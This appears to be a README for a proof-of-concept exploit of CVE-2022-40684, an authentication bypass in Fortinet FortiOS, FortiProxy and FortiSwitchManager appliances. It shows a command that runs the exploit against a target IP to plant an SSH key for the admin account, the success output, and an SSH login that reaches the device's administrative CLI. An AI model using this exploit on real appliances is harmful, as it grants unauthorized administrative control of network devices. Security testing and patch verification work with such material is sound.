POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.
## Technical Analysis
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## Indicators of Compromise
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This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh firstname.lastname@example.org
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.
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